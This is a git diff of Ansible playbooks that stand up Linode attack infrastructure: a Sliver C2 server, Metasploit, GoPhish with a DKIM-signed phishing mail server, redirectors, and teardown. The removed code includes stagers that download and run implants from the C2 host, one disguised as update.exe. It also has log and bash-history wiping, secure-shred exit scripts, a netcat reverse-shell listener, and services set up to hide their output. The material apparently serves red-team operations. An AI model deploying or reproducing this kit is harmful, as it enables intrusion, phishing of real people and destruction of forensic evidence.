ansible.builtin.debug: + - name: Print deployment summary + debug: msg: - - "Redirector setup completed!" - - "IP Address: {{ ansible_host }}" - - "Domain: {{ redirector_subdomain }}.{{ domain }}" - - "Shell Handler Port: {{ shell_handler_port }}" \ No newline at end of file + - "Redirector Configuration Complete!" + - "---------------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + - "Shell Handler Port: {{ shell_handler_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/Linode/c2-deploy.yaml b/Linode/c2-deploy.yaml deleted file mode 100644 index cee34d9..0000000 --- a/Linode/c2-deploy.yaml +++ /dev/null @@ -1,355 +0,0 @@ ---- -- name: Create and configure Linode instance for C2 Server - hosts: localhost - gather_facts: false - connection: local - vars_files: - - vars.yaml - tasks: - - name: Select a random region - set_fact: - selected_region: "{{ region_choices | random }}" - - - name: Create Linode instance - community.general.linode_v4: - access_token: "{{ linode_token }}" - label: "{{ instance_label }}" - type: "{{ plan }}" - region: "{{ selected_region }}" - image: "{{ image }}" - root_pass: "{{ lookup('password', '/dev/null length=16') }}" - authorized_keys: - - "{{ lookup('file', ssh_key_path) }}" - state: present - register: linode_instance - - - name: Wait for Linode instance to be reachable - wait_for: - host: "{{ linode_instance.instance.ipv4[0] }}" - port: 22 - delay: 30 - timeout: 600 - state: started - - - name: Add Linode instance to inventory - add_host: - name: "{{ instance_label }}" - ansible_host: "{{ linode_instance.instance.ipv4[0] }}" - ansible_user: root - ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" - -- name: Secure and configure C2 server - hosts: "{{ instance_label }}" - gather_facts: true - tasks: - - name: Disable root password authentication for SSH immediately - ansible.builtin.lineinfile: - path: /etc/ssh/sshd_config - regexp: '^#?PasswordAuthentication' - line: 'PasswordAuthentication no' - state: present - - - name: Restart SSH service to apply root password login restriction - ansible.builtin.service: - name: ssh - state: restarted - - - name: Update apt package list - ansible.builtin.apt: - update_cache: yes - - - name: Set a custom MOTD - template: - src: motd-linode.j2 - dest: /etc/motd - owner: root - group: root - mode: '0644' - vars: - letsencrypt_email: "{{ letsencrypt_email }}" - mail_hostname: "{{ mail_hostname }}" - domain: "{{ domain }}" - gophish_admin_domain: "{{ gophish_admin_domain }}" - gophish_site_domain: "{{ gophish_site_domain }}" - - - name: Hush Default Login Message - ansible.builtin.shell: | - rm -rf '/usr/bin/kali-motd' - - - name: Install base utilities and tools via apt - ansible.builtin.apt: - name: - - git - - wget - - curl - - unzip - - python3-pip - - python3-venv - - tmux - - pipx - - nmap - - tcpdump - - hydra - - john - - hashcat - - sqlmap - - gobuster - - dirb - - enum4linux - - dnsenum - - seclists - - responder - - golang - - proxychains - - tor - - crackmapexec - - jq - - unzip - - postfix - - certbot - - opendkim - - opendkim-tools - - dovecot-core - - dovecot-imapd - - dovecot-pop3d - - dovecot-sieve - - dovecot-managesieved - - yq - state: present - - - name: Ensure pipx path is configured - ansible.builtin.shell: | - pipx ensurepath - args: - executable: /bin/bash - - - name: Install tools via pipx - ansible.builtin.shell: | - export PATH=$PATH:/root/.local/bin - pipx ensurepath - pipx install git+https://github.com/Pennyw0rth/NetExec - pipx install git+https://github.com/blacklanternsecurity/TREVORspray - pipx install impacket - args: - executable: /bin/bash - - - name: Download Kerbrute - ansible.builtin.shell: | - mkdir -p ~/Tools/Kerbrute - wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute - chmod +x ~/Tools/Kerbrute/kerbrute - args: - executable: /bin/bash - - - name: Clone SharpCollection nightly builds - ansible.builtin.git: - repo: https://github.com/Flangvik/SharpCollection.git - dest: ~/Tools/SharpCollection - version: master - - - name: Clone PEASS-ng - ansible.builtin.git: - repo: https://github.com/carlospolop/PEASS-ng.git - dest: ~/Tools/PEASS-ng - - - name: Clone MailSniper - ansible.builtin.git: - repo: https://github.com/dafthack/MailSniper.git - dest: ~/Tools/MailSniper - - - name: Clone Inveigh - ansible.builtin.git: - repo: https://github.com/Kevin-Robertson/Inveigh.git - dest: ~/Tools/Inveigh - - - name: Install Sliver C2 server - ansible.builtin.shell: | - curl https://sliver.sh/install | sudo bash - systemctl enable sliver - systemctl start sliver - - - name: Install Metasploit Framework (Nightly Build) - ansible.builtin.shell: | - curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall - chmod 755 ~/Tools/msfinstall - ~/Tools/msfinstall - args: - executable: /bin/bash - - - name: Grab GoPhish - ansible.builtin.shell: | - curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip - unzip ~/Tools/gophish.zip -d ~/Tools/gophish - rm -rf ~/Tools/gophish.zip - chmod +x ~/Tools/gophish - - - name: Deploy Gophish config.json with custom admin port - template: - src: gophish-config.j2 - dest: ~/Tools/gophish/config.json - owner: root - group: root - mode: '0644' - vars: - gophish_admin_port: "{{ gophish_admin_port }}" - domain: "{{ domain }}" - - - name: Configure Postfix main.cf - lineinfile: - path: /etc/postfix/main.cf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } - - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } - - { regexp: '^myorigin', line: "myorigin = $mydomain" } - - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } - - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } - - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } - - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } - - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } - - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } - - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } - - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } - - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } - - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } - - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } - - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } - - { regexp: '^milter_default_action', line: "milter_default_action = accept" } - - { regexp: '^milter_protocol', line: "milter_protocol = 6" } - - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - - - name: Configure OpenDKIM - lineinfile: - path: /etc/opendkim.conf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^Domain', line: "Domain {{ domain }}" } - - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } - - { regexp: '^Selector', line: "Selector mail" } - - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^Syslog', line: "Syslog yes" } - - { regexp: '^UMask', line: "UMask 002" } - - { regexp: '^Mode', line: "Mode sv" } - - - name: Create DKIM directory - file: - path: /etc/opendkim/keys/{{ domain }} - state: directory - owner: opendkim - group: opendkim - mode: 0700 - - - name: Generate DKIM keys - command: > - opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail - args: - creates: /etc/opendkim/keys/{{ domain }}/mail.private - - - name: Set permissions for DKIM keys - file: - path: /etc/opendkim/keys/{{ domain }}/mail.private - owner: opendkim - group: opendkim - mode: 0600 - - - name: Configure OpenDKIM TrustedHosts - copy: - content: | - 127.0.0.1 - ::1 - localhost - {{ domain }} - dest: /etc/opendkim/TrustedHosts - owner: opendkim - group: opendkim - mode: 0644 - - - name: Enable submission port (587) in master.cf - blockinfile: - path: /etc/postfix/master.cf - insertafter: '^#submission' - block: | - submission inet n - y - - smtpd - -o syslog_name=postfix/submission - -o smtpd_tls_security_level=encrypt - -o smtpd_sasl_auth_enable=yes - -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject - -o smtpd_relay_restrictions=permit_sasl_authenticated,reject - - # Dovecot Configuration for SASL - - name: Configure Dovecot for Postfix SASL - blockinfile: - path: /etc/dovecot/conf.d/10-master.conf - insertafter: '^service auth {' - block: | - # Postfix smtp-auth - unix_listener /var/spool/postfix/private/auth { - mode = 0660 - user = postfix - group = postfix - } - - - name: Set Dovecot auth_mechanisms - lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^auth_mechanisms' - line: 'auth_mechanisms = plain login' - - - name: Create Dovecot password file for SASL authentication - file: - path: /etc/dovecot/passwd - state: touch - mode: '0600' - owner: dovecot - group: dovecot - - - name: Add SMTP auth user to Dovecot - lineinfile: - path: /etc/dovecot/passwd - line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" - - - name: Disable system auth and use passwd-file - lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^!include auth-system.conf.ext' - line: '#!include auth-system.conf.ext' - - - name: Add auth-passwdfile configuration - blockinfile: - path: /etc/dovecot/conf.d/10-auth.conf - insertafter: '^auth_mechanisms =' - block: | - passdb { - driver = passwd-file - args = scheme=sha512_crypt /etc/dovecot/passwd - } - userdb { - driver = static - args = uid=vmail gid=vmail home=/var/vmail/%u - } - - - name: Create vmail user/group - group: - name: vmail - gid: 5000 - state: present - - - name: Create vmail user - user: - name: vmail - uid: 5000 - group: vmail - create_home: no - - - name: Restart Postfix - service: - name: postfix - state: restarted - - - name: Restart Dovecot - service: - name: dovecot - state: restarted \ No newline at end of file diff --git a/Linode/c2.yml b/Linode/c2.yml index e8ca4bb..eb4e956 100644 --- a/Linode/c2.yml +++ b/Linode/c2.yml @@ -1,341 +1,112 @@ --- +# Linode C2 Deployment Playbook + - name: Deploy Linode C2 server hosts: localhost gather_facts: false connection: local + vars_files: + - vars.yaml vars: - region: "{{ linode_region | default('us-east') }}" - instance_type: "{{ size | default('g6-standard-1') }}" - instance_name: "{{ c2_name | default('c2') }}" - domain: "{{ domain | default('example.com') }}" - c2_subdomain: "mail" - linode_image: "linode/debian11" + # Default values for required variables + ssh_user: "{{ ssh_user | default('root') }}" + linode_region: "{{ linode_region | default(region_choices | random) }}" + plan: "{{ plan | default('g6-standard-1') }}" + image: "{{ image | default('linode/debian11') }}" + + # Generate random instance name if not provided + c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" tasks: - - name: Create Linode C2 instance + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + - name: Create C2 Linode instance community.general.linode_v4: - label: "{{ instance_name }}" - type: "{{ instance_type }}" - region: "{{ region }}" - image: "{{ linode_image }}" + access_token: "{{ linode_token }}" + label: "{{ c2_name }}" + type: "{{ plan }}" + region: "{{ linode_region }}" + image: "{{ image }}" root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" - authorized_keys: - - "{{ lookup('file', ssh_key) }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" state: present register: c2_instance - - name: Save C2 IP + - name: Set c2_ip for later use set_fact: c2_ip: "{{ c2_instance.instance.ipv4[0] }}" + c2_instance_id: "{{ c2_instance.instance.id }}" - - name: Wait for SSH to become available + - name: Wait for C2 SSH to be available wait_for: host: "{{ c2_ip }}" port: 22 - delay: 10 + delay: 30 timeout: 300 state: started - - name: Add C2 server to inventory + - name: Add C2 to inventory add_host: - name: c2 + name: "c2" + groups: "c2servers" ansible_host: "{{ c2_ip }}" - ansible_user: "{{ ssh_user | default('root') }}" - ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}" - groups: c2servers + ansible_user: "{{ ssh_user }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" - name: Configure C2 server hosts: c2servers become: true + gather_facts: true + vars_files: + - vars.yaml vars: - domain: "{{ domain | default('example.com') }}" - c2_subdomain: "mail" - letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" - zero_logs: "{{ zero_logs | default(true) }}" - redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" - + redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}" + c2_subdomain: "{{ c2_subdomain | default('mail') }}" tasks: - - name: Update apt cache + - name: Wait for apt to be available apt: update_cache: yes - - - name: Install required packages - apt: - name: - - git - - wget - - curl - - python3-pip - - golang - - tmux - - nmap - - jq - - secure-delete - - socat + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Disable root password authentication for SSH immediately + lineinfile: + path: /etc/ssh/sshd_config + regexp: '^#?PasswordAuthentication' + line: 'PasswordAuthentication no' state: present + + - name: Restart SSH service to apply changes + service: + name: ssh + state: restarted - - name: Create directories for C2 operation - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/beacons - - /opt/payloads - - - name: Create clean-logs.sh script - copy: - content: | - #!/bin/bash - # Zero-logs maintenance script - umask 077 - - # Disable syslog temporarily - systemctl stop rsyslog 2>/dev/null - systemctl stop systemd-journald 2>/dev/null - - # Clear system logs - find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; - find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; - find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; - journalctl --vacuum-time=1s 2>/dev/null - - # Clear bash history - for histfile in /root/.bash_history /home/*/.bash_history; do - [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null - done - history -c - - # Clear Sliver logs - find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null - - # Clear temporary directories - rm -rf /tmp/* /var/tmp/* 2>/dev/null - - # Restart logging services - systemctl start systemd-journald 2>/dev/null - systemctl start rsyslog 2>/dev/null - - echo "[+] Log cleaning complete" - exit 0 - dest: /opt/c2/clean-logs.sh - mode: '0700' - owner: root - group: root - - - name: Create secure-exit.sh script - copy: - content: | - #!/bin/bash - # Secure cleanup script - - # Configuration - SECURE_DELETE_PASSES=7 - MEMORY_WIPE=true - - # Set secure umask - umask 077 - - # Function to securely delete files - secure_delete() { - local target=$1 - echo "[+] Securely deleting: $target" - - if command -v srm > /dev/null; then - srm -vzf $target 2>/dev/null - elif command -v shred > /dev/null; then - shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null - else - # Fallback to dd if specialized tools aren't available - dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null - dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null - rm -f $target 2>/dev/null - fi - } - - echo "[+] Beginning secure exit procedure..." - - # Stop all operational services - echo "[+] Stopping operational services..." - services=("sliver") - for service in "${services[@]}"; do - systemctl stop $service 2>/dev/null - done - - # Kill any remaining operational processes - echo "[+] Terminating operational processes..." - process_names=("sliver" "nc" "python") - for proc in "${process_names[@]}"; do - pkill -9 $proc 2>/dev/null - done - - # Clear all logs - echo "[+] Clearing logs..." - bash /opt/c2/clean-logs.sh - - # Securely delete operational files - echo "[+] Removing operational files..." - operational_dirs=( - "/opt/c2" - "/opt/beacons" - "/opt/payloads" - "/root/.sliver" - ) - - for dir in "${operational_dirs[@]}"; do - find $dir -type f 2>/dev/null | while read file; do - secure_delete "$file" - done - rm -rf $dir 2>/dev/null - done - - # Remove SSH keys - echo "[+] Removing SSH keys and configs..." - find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do - secure_delete "$file" - done - - # Clean memory if requested - if $MEMORY_WIPE; then - echo "[+] Wiping system memory..." - sync - echo 3 > /proc/sys/vm/drop_caches - swapoff -a - swapon -a - fi - - echo "[+] Secure exit completed. Infrastructure has been sanitized." - - # Remove this script itself - exec shred -n $SECURE_DELETE_PASSES -uz $0 - dest: /opt/c2/secure-exit.sh - mode: '0700' - owner: root - group: root - - - name: Create beacon-server.sh script - copy: - content: | - #!/bin/bash - # Beacon server script - - # Configuration - BEACONS_DIR="/opt/beacons" - WEBSERVER_PORT=8443 - - # Set secure umask - umask 077 - - # Ensure beacons directory exists - mkdir -p $BEACONS_DIR - - # Generate beacons using Sliver - echo "[+] Generating beacons for all platforms..." - - # Make sure Sliver server is running - if ! pgrep -x "sliver-server" > /dev/null; then - echo "[!] Sliver server is not running, starting it..." - systemctl start sliver - sleep 5 - fi - - # Generate Windows beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe - - # Generate Linux beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux - - # Generate macOS beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos - - # Generate stagers - echo "#!/bin/bash - curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh - chmod +x $BEACONS_DIR/beacon.sh - - echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; - \$url = 'http://{{ ansible_host }}:8443/windows.exe'; - \$outpath = \"\$env:TEMP\\update.exe\"; - Invoke-WebRequest -Uri \$url -OutFile \$outpath; - Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 - - echo "[+] All beacons generated successfully" - - # Serve beacons using Python's HTTP server - echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! - - echo "[+] Beacon server started with PID $SERVER_PID" - echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/" - - # Keep script running - trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT - while true; do sleep 1; done - dest: /opt/c2/beacon-server.sh - mode: '0700' - owner: root - group: root - - - name: Install Sliver C2 framework - shell: | - curl https://sliver.sh/install | bash - args: - creates: /usr/local/bin/sliver-server - - - name: Create Sliver service file - copy: - content: | - [Unit] - Description=Sliver C2 Server - After=network.target - - [Service] - Type=simple - User=root - Group=root - WorkingDirectory=/root/.sliver - ExecStart=/usr/local/bin/sliver-server daemon - Restart=always - RestartSec=10 - - # Security measures - PrivateTmp=true - ProtectHome=false - NoNewPrivileges=true - - # Hide process information - StandardOutput=null - StandardError=null - - [Install] - WantedBy=multi-user.target - dest: /etc/systemd/system/sliver.service - mode: '0644' - owner: root - group: root - - - name: Start and enable Sliver service - systemd: - name: sliver - state: started - enabled: yes - daemon_reload: yes - - - name: Set up cron job for log cleaning - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs|bool - - - name: Start beacon server - shell: | - nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 & - args: - creates: /opt/beacons/windows.exe \ No newline at end of file + - name: Include common tool installation tasks + include_tasks: "../tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../tasks/configure_c2.yml" + + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../tasks/configure_mail.yml" + + - name: Print deployment summary + debug: + msg: + - "C2 Server Deployment Complete!" + - "-----------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/Linode/cleanup.yml b/Linode/cleanup.yml new file mode 100644 index 0000000..d904384 --- /dev/null +++ b/Linode/cleanup.yml @@ -0,0 +1,113 @@ +--- +# Linode Cleanup Playbook +# Used to tear down Linode infrastructure + +- name: Clean up Linode infrastructure + hosts: localhost + connection: local + gather_facts: false + vars_files: + - vars.yaml + vars: + cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}" + cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}" + confirm_cleanup: "{{ confirm_cleanup | default(true) }}" + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + - name: Confirm cleanup if required + pause: + prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue" + register: confirmation + when: confirm_cleanup + + - name: Exit if not confirmed + meta: end_play + when: confirm_cleanup and confirmation.user_input != 'yes' + + - name: Get redirector instance info + community.general.linode_v4: + access_token: "{{ linode_token }}" + command: list + label: "{{ redirector_name }}" + register: redirector_info + failed_when: false + when: cleanup_redirector + + - name: Get C2 instance info + community.general.linode_v4: + access_token: "{{ linode_token }}" + command: list + label: "{{ c2_name }}" + register: c2_info + failed_when: false + when: cleanup_c2 + + - name: Set redirector ID as fact + set_fact: + redirector_instance_id: "{{ redirector_info.instances[0].id }}" + when: + - cleanup_redirector + - redirector_info.instances is defined + - redirector_info.instances | length > 0 + + - name: Set C2 ID as fact + set_fact: + c2_instance_id: "{{ c2_info.instances[0].id }}" + when: + - cleanup_c2 + - c2_info.instances is defined + - c2_info.instances | length > 0 + + - name: Delete redirector instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + command: delete + label: "{{ redirector_name }}" + state: absent + when: + - cleanup_redirector + - redirector_instance_id is defined + register: redirector_deletion + + - name: Delete C2 instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + command: delete + label: "{{ c2_name }}" + state: absent + when: + - cleanup_c2 + - c2_instance_id is defined + register: c2_deletion + + - name: Remove SSH key file if it's not a shared key + file: + path: "{{ ssh_key_path | replace('.pub', '') }}" + state: absent + when: + - ssh_key_path is defined + - ssh_key_path is search('c2deploy_') + ignore_errors: true + + - name: Remove SSH public key file if it's not a shared key + file: + path: "{{ ssh_key_path }}" + state: absent + when: + - ssh_key_path is defined + - ssh_key_path is search('c2deploy_') + ignore_errors: true + + - name: Cleanup complete message + debug: + msg: + - "Linode infrastructure cleanup complete!" + - "Resources that were cleaned up:" + - "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}" + - "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}" \ No newline at end of file diff --git a/Linode/redirector.yml b/Linode/redirector.yml index a94e7eb..feeafc9 100644 --- a/Linode/redirector.yml +++ b/Linode/redirector.yml @@ -1,431 +1,109 @@ --- -- name: Deploy Linode redirector server +# Linode Redirector-only Deployment Playbook + +- name: Deploy Linode redirector hosts: localhost gather_facts: false connection: local vars_files: - vars.yaml + vars: + # Default values for required variables + ssh_user: "{{ ssh_user | default('root') }}" + linode_region: "{{ linode_region | default(region_choices | random) }}" + plan: "{{ plan | default('g6-standard-1') }}" + image: "{{ image | default('linode/debian11') }}" + + # Generate random instance name if not provided + redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + + # Generate random shell handler port if not provided + shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" + tasks: - - name: Create Linode redirector instance + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + - name: Create redirector Linode instance community.general.linode_v4: access_token: "{{ linode_token }}" label: "{{ redirector_name }}" type: "{{ plan }}" - region: "{{ region }}" - image: "linode/debian11" - root_pass: "{{ lookup('password', '/dev/null length=16') }}" + region: "{{ linode_region }}" + image: "{{ image }}" + root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" authorized_keys: - - "{{ lookup('file', ssh_key_path + '.pub') }}" + - "{{ lookup('file', ssh_key_path) }}" state: present register: redirector_instance - - name: Save redirector IP - ansible.builtin.set_fact: + - name: Set redirector_ip for later use + set_fact: redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" + redirector_instance_id: "{{ redirector_instance.instance.id }}" - - name: Wait for SSH to become available - ansible.builtin.wait_for: + - name: Wait for redirector SSH to be available + wait_for: host: "{{ redirector_ip }}" port: 22 - delay: 10 + delay: 30 timeout: 300 state: started - name: Add redirector to inventory - ansible.builtin.add_host: + add_host: name: "redirector" + groups: "redirectors" ansible_host: "{{ redirector_ip }}" - ansible_user: "{{ ssh_user | default('root') }}" - ansible_ssh_private_key_file: "{{ ssh_key_path }}" - groups: redirectors + ansible_user: "{{ ssh_user }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -- name: Configure redirector +- name: Configure redirector server hosts: redirectors become: true + gather_facts: true + vars_files: + - vars.yaml vars: - domain: "{{ domain | default('example.com') }}" - redirector_subdomain: "cdn" - letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" - zero_logs: "{{ zero_logs | default(true) }}" - shell_handler_port: 4444 - c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" - + c2_ip: "{{ c2_ip | default('127.0.0.1') }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" tasks: - - name: Update apt cache + - name: Wait for apt to be available apt: update_cache: yes - - - name: Install required packages - apt: - name: - - nginx - - certbot - - python3-certbot-nginx - - socat - - netcat-openbsd - - cryptsetup - - secure-delete + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Disable root password authentication for SSH immediately + lineinfile: + path: /etc/ssh/sshd_config + regexp: '^#?PasswordAuthentication' + line: 'PasswordAuthentication no' state: present + + - name: Restart SSH service to apply changes + service: + name: ssh + state: restarted + + - name: Include common redirector configuration tasks + include_tasks: "../tasks/configure_redirector.yml" + + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" - - name: Create directories for OPSEC scripts - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/shell-handler - - - name: Create clean-logs.sh script - copy: - content: | - #!/bin/bash - # Zero-logs maintenance script - umask 077 - - # Disable syslog temporarily - systemctl stop rsyslog 2>/dev/null - systemctl stop systemd-journald 2>/dev/null - - # Clear system logs - find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; - find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; - find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; - journalctl --vacuum-time=1s 2>/dev/null - - # Clear bash history - for histfile in /root/.bash_history /home/*/.bash_history; do - [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null - done - history -c - - # Clear NGINX logs - for nginx_log in /var/log/nginx/*; do - [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null - done - - # Clear temporary directories - rm -rf /tmp/* /var/tmp/* 2>/dev/null - - # Restart logging services - systemctl start systemd-journald 2>/dev/null - systemctl start rsyslog 2>/dev/null - - echo "[+] Log cleaning complete" - exit 0 - dest: /opt/c2/clean-logs.sh - mode: '0700' - owner: root - group: root - - - name: Create shell handler script - copy: - content: | - #!/bin/bash - # Automated shell handler for catching and upgrading reverse shells - - # Configuration - LISTEN_PORT={{ shell_handler_port }} - C2_HOST="{{ c2_ip }}" - - # Set secure permissions - umask 077 - - # Logging function - log() { - local timestamp=$(date +"%Y-%m-%d %H:%M:%S") - local message="$1" - echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc - } - - # Detect OS function - detect_os() { - local connection=$1 - - # Send commands to determine OS - echo "echo \$OSTYPE" > $connection - sleep 1 - ostype=$(cat $connection | grep -i "linux\|darwin\|win") - - if [[ $ostype == *"win"* ]]; then - echo "windows" - elif [[ $ostype == *"darwin"* ]]; then - echo "macos" - elif [[ $ostype == *"linux"* ]]; then - echo "linux" - else - # Try Windows-specific command - echo "ver" > $connection - sleep 1 - winver=$(cat $connection | grep -i "microsoft windows") - - if [[ -n "$winver" ]]; then - echo "windows" - else - # Default to Linux if we can't determine - echo "linux" - fi - fi - } - - # Main shell handler loop - handle_connections() { - log "Shell handler started on port $LISTEN_PORT" - - # Use mkfifo for bidirectional communication - PIPE_PATH="/tmp/shell_handler_pipe" - trap 'rm -f $PIPE_PATH' EXIT - - while true; do - # Clean up existing pipe - rm -f $PIPE_PATH - mkfifo $PIPE_PATH - - log "Waiting for incoming connection..." - nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & - NC_PID=$! - - # Wait for connection - wait $NC_PID - log "Connection closed, restarting listener..." - rm -f $PIPE_PATH.output - done - } - - # Start the shell handler - handle_connections - dest: /opt/shell-handler/persistent-listener.sh - mode: '0700' - owner: root - group: root - - - name: Create shell handler service - copy: - content: | - [Unit] - Description=Reverse Shell Handler Service - After=network.target - - [Service] - Type=simple - User=root - Group=root - ExecStart=/opt/shell-handler/persistent-listener.sh - Restart=always - RestartSec=10 - - # Hide process information - PrivateTmp=true - ProtectSystem=full - NoNewPrivileges=true - - # Make shell handler hard to find - StandardOutput=null - StandardError=null - - # Environment variables - Environment="C2_HOST={{ c2_ip }}" - Environment="LISTEN_PORT={{ shell_handler_port }}" - - [Install] - 